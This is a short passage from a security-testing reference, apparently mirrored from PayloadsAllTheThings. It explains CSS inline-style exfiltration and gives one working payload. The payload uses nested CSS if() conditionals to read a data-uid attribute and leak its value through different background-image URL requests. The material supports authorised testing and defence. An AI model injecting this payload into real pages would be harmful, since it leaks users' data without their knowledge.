CSS Injection · passage 6 of 9

Inline Style Exfiltration

1 code block · CSS Injection/README.md

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.

This advanced technique leverages CSS conditionals (like `if()`) and variables to perform logic directly within a style attribute. Example: Stealing a `data-uid` attribute if it matches a value between 1 and 10.

<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>

Every one of the 9 is a mark on the map. Named now: 1 to 9, reading order first.

Zoom in on the map and the dots under the middle of it are named where they are.

Data as of 2026-11-15. CVE List through 2026-11-15 · EPSS of 2026-11-14 · CISA KEV checked 2026-11-15. Source: PayloadsAllTheThings by Swissky and contributors, MIT License. For authorised testing only.